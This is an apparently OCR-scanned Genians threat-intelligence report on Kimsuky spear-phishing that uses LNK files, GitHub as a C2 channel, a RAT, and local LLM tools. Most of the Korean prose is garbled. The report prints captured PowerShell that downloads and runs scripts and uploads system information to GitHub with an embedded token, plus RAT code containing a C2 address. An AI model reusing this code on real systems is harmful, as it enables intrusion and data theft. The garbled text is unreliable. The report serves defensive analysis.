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Kimsuky Integrates Al into Attack Operations,

From Al-Generated Decoy Documents to a Local LLM

@ Spear Phishing

»

® Malicious file
download

The threat actor conducted a spear-phishing
campaign using content designed to attract t
he victim's interest, with the attachment
containing a malicious LNK shortcut file.

An initial reconnaissance PowerShell script is downloaded f
rom GitHub to collect victim information.

(® Remote Access @

Subsequently, a RAT is installed to enable RAT C2
remote control of the compromised system. 1

In parallel, the threat actor has established 1

Al and local LLM infrastructure within the C2 environment, 1
demonstrating efforts to strengthen its capabilities and Fe=——————

integrate Al across broader attack operations. 1
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1. 2 2F (Executive Summary)
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Kimsuky Integrates Al into Attack Operations, Genians
From Al-Generated Decoy Documents to a Local LLM

@ Malicious file @

@ spear Phishing

. download .
Threat Victim Github
Actor The th.reat agtor conducted @ spear-phishing An initial reconnaissance PowerShell script is downloaded f
campaign using content designed to attract t rom GitHub to collect victim inf i 1
1 he victim's interest, with the attachment om ubto collect victim information.
| containing a malicious LNK shortcut file. :
1 1
I 1
1 1
1
| ‘ @ Remote Access :
I 1
1 Subsequently, a RAT is installed to enable RAT C2 1
1 remote control of the compromised system. 1 1
! In parallel, the threat actor has established 1 1 I
I Al and local LLM infrastructure within the C2 environment, 1 |
1 demonstrating efforts to strengthen its capabilities and === - - 1
1 integrate Al across broader attack operations. 1 1
L e e e e e e e = = = e = = -

(13 1-1] Al 28 224 525

2] &?At= Baseb4 17T, =AtE 2, AIEAL | b|2E FE S Cidet =5 7[HE
o

X E5t0| HA S22 2ulotl U= A2 = SHRIE[ASLH T

2 olE Qe MA HIAME S ME SiLto| 2etE/X| 9D o] HE0M gExo2 5
Ol T #QIoolmet 2% SHS VWIOE MUK, 5 SYU AY BH cyst
SHX| A SE, 98 SIE, ASNALD CfS o L5t B8 & US HOE lchFLct

719 &l 7| LY 2ot RX S LNKS| AR o2 71 Mg 014, ALSXAt 2| Basebd C| AT,
=2Z! PowerShell, 0f| 2F =to4 GitHub Raw Contents API & 2, H| 24 £ & PAT A&, o|0|X| =&
XHE 718l LS SHE NET HO[2ZEE HAA|SH BHX|SHOF &Lt

2. A2 24 (Case Study)

2-1. =7| 2 (Initial Access)

27] 92 98 XTI oMY S S5 K= ZIP YZTIUS AR} CRR =5
Lo] LNK m 2 Alsste IhEof A AlEhEL| ot

2, AlEH| X5 2| 2M, AE AL, cHA2 MA S A

—_

At
red o A oto|2 2 ARS8 LNK(BEZ7E7) mredof ZetE0] )L

3/43


https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%201-1%5D%20AI%20%ED%99%9C%EC%9A%A9%20%EA%B3%B5%EA%B2%A9%20%ED%9D%90%EB%A6%84%EB%8F%84-1.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%201-1%5D%20AI%20%ED%99%9C%EC%9A%A9%20%EA%B3%B5%EA%B2%A9%20%ED%9D%90%EB%A6%84%EB%8F%84-1.png?hsLang=ko

AR AR YLICH 4 [0l Ab2 Azt AR F 8 2 OIH] O aip 1.12mB

HFEAL A2 LHAIO £ 20] SSHEA H2IH2EN GELL ]
ZHARS] CIAFE SEILICH OFIBIAL L 7}

HElSol Hols Hal X LAl HREI2LI FH4E30] He Ho| BErfalelQl s Al Lok
SLHFAIE B2 AILLHOI X2lol S2lAsLIct XY X3 = LA Z4O A HO|ATA Hx| o)
2FAFEHLI CH AtATL B 0] AMMBHAIE & 01 Fof| Q& LCt.

HEDY 1 7} (27.66KB) .Gmail Ol A A7
v

AL BIX| 20| 2| M zip (27 66KB

CH82at 17 (740.11KB)

ool & 37|
v 0 Urgent Letter from the Ambassador Embassy of Poland.zip Chosun Column 2 . zip 810.2 KB
Dear Sir/Madam, BEE F 2200l A D MO 2FSYLICH

Greetings from the Embassy of Poland! a]

We are delivering an urgent letter from the Ambassador.
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0x0F) -shl 4) -bor (($bwefnmee[2] -shr 2) -band OxOF)) -band OxFF;$iow8=((($bwefnmee[2] -band ©x03) -shl &) -bor ($bwefnmee[3] -band Ox3F)) -
band OxFF;$egc7wh.Add([byte]$Srhseg) |Out-Null;if($vbcot45 -1t 2){$egc7wh.Add([byte]$tyd2) |Out-Null};if($vbcgts5 -1t 1)
{$egc7wh.Add([byte]l$iows) |Out-Null};}; $udh73sw = [System.Text.Encoding] ::UTF8.6etString($egc7wh);$ctyb7sxl=

[System.I0.Path] :: GetTempPath();$eydw67g3="pogpwogwdjoweij.psl";$ofuw873=Join-Path $cty67sx1l $eydw67g3;$udh73sw|0ut-File -FilePath

$ofuw873; -windowstyle hidden -ExecutionPolicy Bypass $ofuw873"
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$aaa = Join-Path ($env:AppData) "lpieuysjfgtrja.psl"; $bsp="https://raw.
githubusercontent.com/fereraluoip/lauonchon/main/priujghtjytfcghffgt.txt";
$hsp=@{Authorization="token ghp_alLAZV5KyIIqovytFGnFbHLrJvbu9nT4Xcu7a";

drrjc="oope934t783tiu" ;Accept="application/vnd.github.v3. raw"};
Invoke-WebRequest -Uri $bsp -Headers $hsp -OutFile $aaa;& $aaa;
Remove-Item -Path $aaa -Force;

[12] 2-7] irujkdnjhgttrhdkfdu.ps1 2 240f &0

=7t A3 2 E = 'priujghtjytfcghffgt.ixt’ Tt S Githuboi| A{ L2420} %AppData% 4 20|
'Ipieuysjfgtrja.ps1' TtU S MAISH AlSHG D ALK EHL|C.

%AppData%\Ipieuysjfgtrja.ps1

$hgfjhgsaf = (Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPAddress -ne $null }).IPAddress[@]

$cyhwjehbf = Get-Date -Format "MMdd_HHmm"

$ffffjhejkhrtu3 = "$hgfjhgsaf-$cyhwjehbf-XXX-kkk.txt"

$ssdjsvuewrjhtb = Join-Path $env:appdata $ffffjhejkhrtu3

(Get-CimInstance Win32_OperatingSystem).LastBootUpTime | Out-File -FilePath $ssdjsvuewrjhtb

$aaahgy218sfdh = "htt"+"ps"+":/"+"/a" + "pi.g" + "ith" + "ub.com/re" + "pos/fereraluoip/lauonchon/contents/kimura/" + $ffffjhejkhrtu3
$gggwhjkjrh = "ghp_alLAZV5KyIIqovytFGnFbHLrJvbu9nT4Xcu7a"

$ffhuiwe9f7sd = Get-Content —Path $ssdjsvuewrjhtb —-Encoding Byte

$ffghy672jhdwe = [Convert]::ToBase64String($ffhuiwe9f7sd)

$bbbhjdkhje = @{

message = "Upload file $ffffjhejkhrtu3"
content = $ffghy672jhdwe
branch = "main"

}
$hhjeuidk2rf2 = @{
"Authorization" = "token $gggwhjkjrh"
"Content-Type" = "application/json"
}
$rrrruif@99782ijf = Invoke-RestMethod -Uri $aaahgy218sfdh -Method Put -Body ($bbbhjdkhje | ConvertTo-Json) -Headers $hhjeuidk2rf2
Remove-Item —Path $ssdjsvuewrjhtb —Force;

[Z1&! 2-8] Ipieuysjfgtrja.ps1 HZH0{ 5tH

0| H&H0o| S&olH, 29 A|AEIo| &M H EQ T O{HE{NM IP TAE £ZEI5ID A} A|ZHE
Z 85t <IP 24>-<MMDD_HHMM>-XXX-kkk.txt &4 4] 2| utdHZS M Mot =, %APPDATAY%
dE20| sy TXT ot = Hd et

0| 0{A{ 'bhjfikfgrtwehjbfgcf.txt' Tt & Github0{|A{ L 2{Et0} %AppData% 4 Z0|
'ms_update.ps1' It S AMAIGH AlSHEID AFK|EFHL|C.

%AppData%\ms_update.ps1
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$sfgjhfg234124qwe: Join-Path $env:AppData "Microsoft";

$hgfehwglu2123df= "sdjkghjkldshgjkldhsgjkdshgjkhkjfgl;kjkldsgjl;kdjgkeiorgjioejrgjdlksjglkjdsgkdsgkh";

$gggiel28kmnvvkr3rf = "ghp_alAZV5KyIIqovytFGnFbHLrJvbu9dnT4Xcu7a"

$uuuieuyugfjgh8978dfg= "sdjkdgdgdgghjkldshgjkldhsgjkdshgjkhkjfgl;kjkldsgjl;kdjgkeiorgjioejrgjdlksjglkjdsgkdsgkh"
$iiiowcsjoooodfhjfppl2df = (Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPAddress -ne $null }).IPAddress[0]
$currentTime = Get-Date —Format "MMdd_HHmm"

$ffhskj548sjhf = "$iiiowcsjoooodfhjfppl2df-$currentTime—-0956_info. txt"

$sssuibvdsjtv982710gjk = Join-Path $sfgjhfg234124qweqe $ffhskj548sjhf
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime | Out-File -FilePath $sssuibvdsjtv982710gjk
(Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber, OSArchitecture) | Out-File -FilePath $sssuibvdsjtv982716gjk -Append
Get-WmiObject -Class Win32_ComputerSystem | Out-File -FilePath $sssuibvdsjtv982710gjk -Append
if ((Get-WmiObject -Class Win32_ComputerSystem).PCSystemType -eq 2) {
Write-Output "Note" | Out-File -FilePath $sssuibvdsjtv982710gjk —Append
} else {
Write-Output "Desk" | Out-File -FilePath $sssuibvdsjtv982710gjk —Append
}
#(Get-WmiObject -Namespace root\S rityCenter2 -C AntiVirusProduct).displayName | Out-File -FilePat 1ibvdsjt 2 jk —-Append
(Get-WmiObject Win32_OperatingSystem).InstallDate | Out-File -FilePath $sssuibvdsjtv982710gjk —Append
$ooppwkjfil23 = Get-Process
$ooppwkjfil23 | Out-File -FilePath $sssuibvdsjtv982710gjk —Append
$outputFile = Split-Path $sssuibvdsjtv982710gjk -leaf
$ioiioiwefj12fj= "1243435sdjkghjkldshgjkldhsgjkdshgjkhkjfgl;kjklddsgdgdsgesgjl;kdjgkeiorgjioejrgjdlksjglkjdsgkdsgkh";
$UUJKSIQ@98FKISH = "htt"+"ps"+":/"+"/a" + "pi.g" + "ith" + "ub.com/re"
$trtdhfijkg= "sdjkghjkldshgjkldhsgjkdshgjkhkjffght234243g1;kjkldsgjl;kdjgkeiorgjioejrgjdlksjglkjdsgkdsgkh";
$UUIKSIQ@98FKISH += "pos/fereraluoip/lauonchon/contents/kimura/" + $ffhskj548sjhf
$ffkjfkjhsiouwe@9s = Get—Content -Path $sssuibvdsjtv982710gjk -Encoding Byte
$jkkkskkuebkc287 = [Convert]::ToBase64String($ffkjfkjhsiouwe@9s)
$bbkjhdsjgklh89dd = @{
message = "Upload file $ffhskj548sjhf"
content = $jkkkskkuebkc287
branch = "main"
}
$hhhhjkldvbi89012 = New-Object "System.Collections.Generic.Dictionary[[String]l, [String]l]"
$hhhhjkldvbi89012.Add("Authorization", "token $gggiel28kmnvvkr3rf")
$hhhhjkldvbi89012.Add("Content-Type", ‘'application/json')
$ccvevchdiauyadsf = "djdaidjashdgfhyuwgd128738172396178312237816397812639786id"
Invoke-RestMethod -Uri $UUJKSIQO98FKISH -Method Put -Body ($bbkjhdsjgklh89dd | ConvertTo-Json) -Headers $hhhhjkldvbi89012
Remove-Item -Path $sssuibvdsjtv982710gjk;
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rTom.Algorithm;
rTom.Helper;
System.Security.Cryptography.X509Certificates;

#nullable disable
rTom
=E
sEflasdting
= {
Ports = "6606";
Hosts = "169.254.33.137";
Version = "@©.5.7B";
Install = "false";
InstallFolder = "AppData”;
InstallFile = "Test.exe";
Key = "euwoyfhosdkf";
MTX = "%MTX%";
Certificate = "%CertificateX”;
Serversignature = "%Serversignature%”;
X509Certificate2 ServerCertificate;
Anti = "false";
Aes256 aes256 = Aes256(sEflasdting.Key);
Pastebin = "null”;
BDOS = "false";
Hwid = HwidGen.HWID();
Delay = "0";
Group = "Debug";

InitializesEflasdting() =>

™, fox.png, leopard.png, lion.png, wolf.png= C2 A7} 112.216.9[.]171(8t=2 &K IP)E H

o
FE Ho= oIz ULt
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[1 swinskldfwes()

mPaweuifalsgpac mPaweuifalsgpac = mPaweuifalsgpac();
mPaweuifalsgpac.frOksckwioject("Packet").AsString = "ClientInfo";
mPaweuifalsgpac.frOksckwioject("HWID").AsString = sEflasdting.Hwid;
mPaweuifalsgpac.frOksckwioject("User").AsString = Environment.UserName.ToString();
mPaweuifalsgpac.frOksckwioject("0S").AsString = ComputerInfo().0SFullName.ToString().Replace("Microsoft”
mPaweuifalsgpac.frOksckwioject("Version").AsString = sEflasdting.nVefsaw;
mPaweuifalsgpac.frOksckwioject("Admin").AsString = mehasdfiw.IsAdmin().ToString().TolLower().Replace( "true”,
mPaweuifalsgpac.frOksckwioject(“Performance”).AsString = mehasdfiw.GetActiveWindowTitle();
mPaweuifalsgpac.frOksckwioject("Pastebin").AsString = sEflasdting.Ueks;
mPaweuifalsgpac.frOksckwioject("Pong"”).AsString = "";
mPaweuifalsgpac.frOksckwioject("Group”).AsString = sEflasdting.Group;

mPaweuifalsgpac.Encode2Bytes();

InitializeClient()

{
clsiesockesdfwe.tCl = Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)

{
ReceiveBufferSize = 512080,
SendBufferSize = 51200
};
(sEflasdting.Ueks == "wisk")

{
str = "112.216.9.171";

port = 3385;
(clsiesockesdfwe.IsValidDomainName(str))

(IPAddress hostAddress Dns.GetHostAddresses(str))
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C:\Users\Administrator\AppData\Local\mstystudio-updater

LastWriteTime Length Name

2026-02-24 F 3: 223165192 installer.exe

CI3Ez2]: C:\Users\Administrator\AppData\Local\nomic.ai

LastWriteTime Length Name

2026-02-24 27H 11:06 GPT4A11

:\Users\Administrator\AppData\Local\nomic.ai\GPT4All

LastWriteTime Length Name
2026-02-24 27 11:03
2026-02-24 23 11:03 77824 localdocs_v3.db

2026-02-24 2# 11:06 450 log.txt
2026-02-24 273 11:03 0 test_write.txt

: C:\Users\Administrator\AppData\Local\nomic.ai\GPT4All\cache

LastWriteTime Length Name

2026-02-24 2F 11:03 gmlcache

2026-02-24 27H 11:06 qtpipelinecache-x86_64-1little_endian-11p64
2026-02-24 2# 11:06 40987 models3.json

[112! 2-15] GPT4All M X| EX
M, Msty(QIAE[)2] EX 0| F {X[0|A] EQIE[ARSL|CY.

| Ms tyStudlo x64.exe= C:\Users\Administrator\Pictures\ Z=0|A{, AX| O|= E&
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https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%202-15%5D%20GPT4All%20%EC%84%A4%EC%B9%98%20%ED%9D%94%EC%A0%81.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%202-15%5D%20GPT4All%20%EC%84%A4%EC%B9%98%20%ED%9D%94%EC%A0%81.png?hsLang=ko

C|2E{2]: C:\Users\Administrator\AppData\Local\Programs\MstyStudio

LastWriteTime Length Name

2026-02-24 ZF 3: localai
2026-02-24 27 4: 26070528 dxcompiler.dll
2026-02-24 27 4: 1503600 dxil.dll

: C:\Users\Administrator\AppData\Local\Programs\MstyStudio\localai

LastWriteTime Length Name

2026-02-24 - models
2026-02-23 2H 7: 36898184 msty-local-studio.exe

[O& 2-16] Msty dX| EX

Mstys 22 2 S2tRE 7|49 LLMS Th QIE{H 0| A0M S8 Z2|5tD B8E & UES

A E AlH A3 & of ZE[AH| o[ d LT

Ollama & 2& LLM 4&!3i Al XI 3} ChatGPT, Claude, Gemini & C}&4 3._ S2IRE Al MH|IAE
Ase =0, ZM 7|8t M SZ M (RAG), Al 00| XM E MCP(Model Context
Protocol)E S8t 2/F =7 L HI0|E &4 AT, X|AH[0[A & LHg+ tra| 5ol 7|52 MEBE
L|C}.

M 7Hx| E77t 25 M| B2 HZCHE AHNE, 98 #OIRL EX
F 240 OfL|2t 0fef 22 Al A3 WAIS Eu b|D, AERSS 7

FChA QL T}

|'0|| |'0||

2-5-2. 24 7|5 X|A| #B(RAG) AAIE EH

0i7|M H ==& 822, 0|5 =77t dX[0 OX[X] 1 &AM =ZE "7 H ArE"E &0 &
OlZ|QCt= MlL|Ct.

GPT4AIll Z LHE0{| A localdocs_v3.dbZt= H|O|E{H|O| A It 7| E 0|
GPT4AIlI2| "LocalDocs" 7| 50| AN Z MEEUS U MME= oL QIL|CE

LocalDocs= 0| =H} RAG(Retrieval-Augmented Generation, A S ZHA M) 7|=& 736t
S22, RAGEZHAIZLD|2| ol &l EAM 220l 2EZ0t 2AHE LHES HA "HAH
EE 2HE HHE MHSIEE st= WAl S ZefLC.

rok
dn
|
>N

O_|E ==

27| 2hs, LHIMO| A o| 0|O| &H&8 X|AlOO 2 CHEICH, RAGE AF2X7 2o & EX
EM(LHE RHZ, 23| 2M 5)E HiEte 2 g7 BlES 7|2l ch.
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https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%202-16%5D%20Msty%20%EC%84%A4%EC%B9%98%20%ED%9D%94%EC%A0%81.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%202-16%5D%20Msty%20%EC%84%A4%EC%B9%98%20%ED%9D%94%EC%A0%81.png?hsLang=ko
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Pictures\zzz\nupkg\ A Z0{| M= Ct=2| NuGet o7 | X| 7} SOl | &L|Ct.

sy 22= e o2 Jie 23 ntdo| MEE = ?AX[7H OtLIEZ, 2/ HRAXt= AFS AL
20| M2 C|EEE|E &5l ot el EXE =0 = X| A SRS LIEL

CI3AEE|: C:\Users\Administrator\Pictures\zzz\nupkg

LastWriteTime Length Name

azure.ai.openai. .0.nupkg

langchain.providers.llamasharp. .1-dev.48.nupkg
l1lamasharp. .0.nupkg

llamasharp.backend.cpu. .0.nupkg
1lamasharp.backend.cuda11. .0.nupkg
1lamasharp.backend.cuda12. .0.nupkg
llamasharp.backend.cuda12.windows. .0.hupkg
l1lamasharp.semantic-kernel.0.25.0.nupkg
microsoft.agents.ai. .0-preview. .hupkg
microsoft.agents.ai.abstractions. .0-preview. .nupkg
microsoft.agents.ai.openai. .0-preview.260209.1 (1).pupkg
microsoft.agents.ai.openai. .0-preview. .nupkg
microsoft.extensions.ai. .0.nupkg
microsoft.extensions.ai.abstractions. .0.nupkg
microsoft.extensions.ai.ollama. .0-preview. .2.nupkg
microsoft.extensions.ai.openai. .0.nupkg

microsoft.ml. .0.nupkg

microsoft.ml.automl. .0.nupkg
microsoft.ml.imageanalytics. .0.hupkg
microsoft.ml.vision. .0.nupkg

microsoft.semantickernel. .0 (1).nupkg
microsoft.semantickernel. .0.nupkg
microsoft.semantickernel.agents.abstractions. .0.nupkg
microsoft.semantickernel.agents.openai. .0-preview. nupkg
openai. .0.nupkg

spectre.console. .1-alpha. .hupkg

system.speech. .0-preview. .118. nupkg
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https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%202-17%5D%20NuGet%20%ED%8C%A8%ED%82%A4%EC%A7%80%20%EC%84%A4%EC%B9%98%20%ED%9D%94%EC%A0%81.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%202-17%5D%20NuGet%20%ED%8C%A8%ED%82%A4%EC%A7%80%20%EC%84%A4%EC%B9%98%20%ED%9D%94%EC%A0%81.png?hsLang=ko
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Cl2Ez2|: C:\Users\Administrator\Pictures\zzz

LastWriteTime Length Name

agent-framework-main.zip
dotnet-ai.pdf

.zip
faster-whisper.
LLamaSharp-master.zip

.VSix

WML, .Vsix

python- .3-amd64.exe

python- .3.exe

Visual Studio - .NET Mo.. _ Y|O|HE2I.mhtml

whisper.

[.Net] NETE 0|88t H 2id 22 MWysty| - o|ojx] EF.mhtml

[.Net] A48 AI, c#olA ciF= o] 2 (LLM) LLaMaSharp AFZ3l7|(OIRl =&t .mhtml
24 ool HAEE EolRA(with faster whisper).mhtml

Ex mf7|x| 7] 2 2| - Visual Studio (Windows) _ Microsoft .mhtml
- C# AISH ML.NET2E AFEfeh= OfilEld 2E S§ 7iY 2 710|=.mhtml

olz{et d&= AYEt= 28H 2H =, ?Ie AL HZ T2 8t=0] sts A=l
C}. Pictures\zzz\ Z2H0f| = EH|0[X[E SMZE XMt SA{(mhtml)2] 7| AtZ27tofef A &

of QIKAesLIct.
2 MLALLLM 8t 2 S 21 9l st=o] 2209t HRLIE| & Ho|XIS Lict

e [.Net] ML.NET= 0|26t &l 2{] &l MAMst7| - O|0| X[ 2F .mhtml
o [.Net] MAM3d Al, CHAHM CHFZ 210{ 2 HI(LLM) LLaMaSharp AtEZ35H7[(0|A| = 8t).mhtml

OO

o SA UM BIAEE 20t XH(with faster whisper).mhtml

ot 7tx| 28| sl = M2, 0[H =2
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https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%202-18%5D%20C2%EC%9D%98%20%EC%A0%80%EC%9E%A5%20%EB%A1%9C%EA%B7%B8%EC%97%90%EC%84%9C%20%ED%99%95%EC%9D%B8%EB%90%9C%20AI%20%EA%B0%9C%EB%B0%9C%20%ED%99%98%EA%B2%BD%20%EA%B4%80%EB%A0%A8%20%ED%8C%8C%EC%9D%BC.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%202-18%5D%20C2%EC%9D%98%20%EC%A0%80%EC%9E%A5%20%EB%A1%9C%EA%B7%B8%EC%97%90%EC%84%9C%20%ED%99%95%EC%9D%B8%EB%90%9C%20AI%20%EA%B0%9C%EB%B0%9C%20%ED%99%98%EA%B2%BD%20%EA%B4%80%EB%A0%A8%20%ED%8C%8C%EC%9D%BC.png?hsLang=ko
https://luckygg.tistory.com/392
http://luckygg.tistory.com/397
https://klaus9267.tistory.com/46
https://www.jaenung.net/tree/37857

= BHAE AIHOIA S "AIS AT QHE ST T 7} OfL|E), "ERSHE AIZ 2 B S0l HE5t|
9lsi 917 Y & ESH=" Bl 2 Botste 20| EFEFELIC,

OlafBt MBS IF WXL AI7|&S ABH o2 G5 DA =10 H2517| 95t oz
S ZX5IT USS HOFN, B3 AIS HBH ML BH J|HOZ LHE Mo F2E
=7t UsLct

AHRAX7FAI 7| =S HHEEC =R
! =

2026-03-06
2026-02-24
2026-01-29
2026-03-20
2025-12-23
2026-03-0Y
2026-01-31
2026-02-26
2026-02-20
2026-02-19
2026-02-20
2026-03-09
2026-02-20
2026-03-02
2026-03-09
2026-03-02
2026-05-05

[12! 3-1] Ink-builder =7 K&t 7|2

E45h= oFF0[A, LNK zhed 24

msdtadmin
msty-imports
nsz4979.tmp
scoped_dir349884_910414052
TeamViewer
.docx.zip
Temp1_lnk-builder-1 (2).zip
Temp1_=% M3 AEIXl=. zip
Temp1_20{HAM|A - - 260124.zip
Temp1_20{HM|A - - 260219.zip
ZA O OiEe=Z11! .zip
.docx.zip
Temp2_g=0{HAIA - =
A O ojEEe=!11
.docx.zip
Temp3_ZA| O DfHEC=R!1]
WPF

260124.zip
.zip

.zip

StHSt 28 Sofl ZIP &= ntlo| s A=l 7| £ 1 &4 Inkbuilder.exe TS &0l o~ QS
L.
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https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-1%5D%20lnk-builder%20%EB%8F%84%EA%B5%AC%20%EC%A0%80%EC%9E%A5%20%EA%B8%B0%EB%A1%9D.png?hsLang=ko

CIAEz2]: C:\Users\Administrator\AppData\Local\Temp\Temp1_lnk-builder-1 (2).zip

LastWriteTime Length Name

2026-01-31 2A 11:10 1nk-builder-1

Cl2Efal:

C:\Users\Administrator\AppData\Local\Temp\Temp1_lnk-builder-1 (2).zip\1lnk-builder-1

Mode LastWriteTime Length Name

Buildere} UX|5H= HO 2 SIS UALICH ZIHE =7 AFRS < HH2{0| WXt SiLte
I AR HER J(ofs He UL

SRR

rlo

x7| 7t

o7 | =

or ol
Hl
L
3
Q
(@]
'®)
(@p)
=
D0
[
(il
Fr
i
% 0
_|
(@8]
\I
DH
N
][I
JIg
El
>
1
ofm
][]

23/43


https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-2%5D%20lnkbuilder.exe%20%ED%8C%8C%EC%9D%BC%20%ED%99%94%EB%A9%B4.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-2%5D%20lnkbuilder.exe%20%ED%8C%8C%EC%9D%BC%20%ED%99%94%EB%A9%B4.png?hsLang=ko
https://www.genians.co.kr/blog/threat_intelligence/_macos?hsLang=ko

LNK  Exe, Pif

LNK MAKING
Exe Path  C:#Users¥Cloud#wDocumentsiSource'Invoke.bat Select
Item Path Select

Exe Name 260801.bat

Item Name

Output C:#Users Cloud'Documents# Select

Name

File Size 213456780

Icon Select
OPDFIcon  ()ChromelIcon ()Edge Icon (O Word Icon (OExcel Icon () PPT Icon

(OHWP Icon |[HWP2020 v | (O TextIcon (O Photo Icon

() Custom Icon Number

Finish

A - : | X

[O&E 3-3] APT37 1E0| AtE35F= LNK Builder 3}

3-2. RTF 8o Z U Gzip &7 24| 52

Cte=2| Git 7|4t C2E Z=Afste= 1t

Text Format) §Al0 2 HEXSH= 7|H S Al SLICTH
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https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-3%5D%20APT37%20%EA%B7%B8%EB%A3%B9%EC%9D%B4%20%EC%82%AC%EC%9A%A9%ED%95%98%EB%8A%94%20LNK%20Builder%20%ED%99%94%EB%A9%B4.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-3%5D%20APT37%20%EA%B7%B8%EB%A3%B9%EC%9D%B4%20%EC%82%AC%EC%9A%A9%ED%95%98%EB%8A%94%20LNK%20Builder%20%ED%99%94%EB%A9%B4.png?hsLang=ko
https://www.genians.co.kr/blog/threat_intelligence/nation-state?hsLang=ko

Accept = 'application/vnd.github.v3.raw'

1$pNPWkswnMNxXbYxJ =

Invoke-WebRequest °
-Uri $FwKiAjAnkDA °
-Headers $1doRsc2vKQzT3 °
-UseBasicParsing
) .Content

$pNPWkswnMNxXbYxJ[0] =
$1aak9YvmfHEUQT = 'Hdrhrtretfdsfdsoq234wer’

$pNPWkswnMNxXbYxJ[1] =
$1aak9YvmfHEUQT = 'Vbnow38ofhsdfdsfdsfdsoq234wer"

$pNPWkswnMNxXbYxJ[2] =
$1aak9YvmfHEUQT = 'dhgeryhsdfdsfdsfdsoq234wer'

$pNPWkswnMNxXbYxJ[3] =
$1aak9YvmfHEUQT = 'VbDSh5eysoq234wer'’

$pNPWkswnMNxXbYxJ[4] =
$1aak9YvmfHEUQT = 'Vbnow38ofhsdfddshfhdfhfdhgdwer"'

$pNPWkswnMNxXbYxJ[5] =
$laak9YvmfHEUQT = 'Vbnow38ofhsdfgfdgfdgsoq234wer’

$pNPWkswnMNxXbYxJ[6] =
$1laak9YvmfHEUQT = 'Vbnow38ofhsdfdsfdsfdsogq234wer'

[212] 3-4] RTF 8= Z+2 Gzip |5 27 %230

SiE HO|ZE= Citet nfd B2 2HE0| e, RTFME SE7F X E[0] J}2LE T2
Z E 0|F Gzip 5| (0x1F, 0x8B, 0x08, 0x00, 0x00, 0x00, 0x00)Z2 £+t F =S sfiA|stl
EERHC

3-3. ZI4=7| Q1= 2}0{|AM Cursor Al A} EX

XLt 42 ZE|Y(Fortinet)2 "DPRK-Related Campaigns with LNK and GitHub C2;, E 1M
£ 54l GitHubE C2 ol=z}= St =22 AMy|ole Zuisi&L|Ct.

—_= o

=Sl =
28%t =

RIL|o1A AlF2IE] MBS Si2 248 0 GitHub A\ Ho| matEl 218 A5t TElAM, SIF
& 2| Xt7} Cursor Alof| A{ Pumpfun-Al-Attack-Defence-Requirements.md ot S #H £ 5t 5, A4
M =l view.pdf It S Google Chrome2 2 20 EQI5H MES ZAHSL|CH

25/43


https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-4%5D%20RTF%20%EB%B3%80%EC%A1%B0%20%EA%B0%92%EC%9D%84%20Gzip%20%ED%97%A4%EB%8D%94%20%EB%B3%B5%EA%B5%AC%20%EB%AA%85%EB%A0%B9%EC%96%B4.png?hsLang=ko
https://www.genians.co.kr/hubfs/%5B%EA%B7%B8%EB%A6%BC%203-4%5D%20RTF%20%EB%B3%80%EC%A1%B0%20%EA%B0%92%EC%9D%84%20Gzip%20%ED%97%A4%EB%8D%94%20%EB%B3%B5%EA%B5%AC%20%EB%AA%85%EB%A0%B9%EC%96%B4.png?hsLang=ko
https://www.fortinet.com/blog/threat-research/dprk-related-campaigns-with-lnk-and-github-c2

[LM]

[ -03- :23:53] Window: | Pumpfun-AI-Attack-Defence-Requirements.md - -03- - Cursor| [Administrator]

[LM][LM][LM][LM][LM][LM][LM][LM][LM]

[ -03- :24:07] Window:

[Tab]

1 Window: Task Switching

[ 205 :
[Tab][Tab][LM]

[ - :11] Window: PRD - File Explorer
[LM][LM][LM][LM][Bk][LM][LM][LM][LM][LM][LM][LM]

[ - :22] Window:

[LM]

[ :24:22] Window:|view.pdf |- Google Chrome
[LM]

[l 3-5] view.pdf T}l 1} Cursor Al

M
fior
0t
o
Hu
|
N
I

AN Ct22E 22 Z0|AM = Cursor Al MX| 20| Ch AlEE[QUSL

\ChatGPT Image Aug
\ChatGPT Image Aug
\ Image Mar 5,
.exe
(1).zip
.zip
-~ Lead Mobile Engineer- Vala- Signed.pdf
- Lead Mobile Engineer- Vala.pdf
Copy of Vala profile template (1).png
.json
-X64-2.2.43.exe
-x64-1.0.0.exe
-X64-1.7.46.exe
-42cb-98ec-cfdd5d5b7256 . mov
.mp4
.mp4
.ini
Architecture.pdf

NNOoNMNANNOhNNONMONMNONMNODNNNON
Al A
P i i
A Al P P P
P A g s D - O a4

.png

[O& 3-6] Ct2 2= ZC0f| X ZHE Cursor Al MX|&

3-4. WPS Office Z=20{ &4 4 A|AH| K| =A} Arirang

2| el & 2| Xt= Marketing-Service-Agreement-Pumpfun-Al-Attack-Defence.docx 2ME &= 0

H{7 o] WPS Office 20190{| A{ @ 2t5t ZH o 2 ol &Lt

Ol = QtA| PDF DiIE}HH|O[E{ol| A BHol=l A4A K ole
WPS Office= AlX| 7§t B0 A AFR RS2 SIuAlBH|C),

Imk wehn[Bk][Bk][Bk]lhen you need any dev supprot[

.docx -

[12] 3-7] WPS 20192 24A{ &0l 7|2

1
